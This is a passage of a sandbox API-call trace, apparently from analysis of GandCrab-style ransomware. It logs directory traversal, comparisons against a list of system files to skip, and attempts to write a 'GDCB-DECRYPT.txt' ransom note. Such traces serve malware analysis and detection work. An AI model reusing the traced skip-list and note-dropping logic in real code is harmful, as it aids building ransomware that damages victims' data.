Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 177 [0170.216] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 177 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.216] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.216] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.216] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0170.216] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.217] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.217] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.217] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.217] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.217] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\" [0170.217] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.217] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.217] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.217] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.217] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.217] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.217] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 172 [0170.217] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.217] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4dd8 [0170.218] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned 177 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned 188 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned 175 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned 177 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 188 [0170.218] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned 178 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned 179 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 184 [0170.218] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0170.218] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0170.218] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft" [0170.218] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned 181 [0170.218] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.218] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned 185 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.219] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned 179 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.219] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned 180 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.219] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned 185 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.219] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned 182 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.219] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned 176 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.219] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned 196 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.219] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned 185 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.219] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0170.219] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0170.219] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore" [0170.219] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned 184 [0170.219] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0170.219] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.219] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.220] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 189 [0170.220] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.221] GetLastError () returned 0x50 [0170.221] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.221] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 172 [0170.221] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.221] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4c58 [0170.222] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.222] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.222] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.222] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.222] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.222] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.222] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.222] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.222] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\" [0170.222] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.222] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.222] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.222] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.222] SHGetSpecialFolderPathW 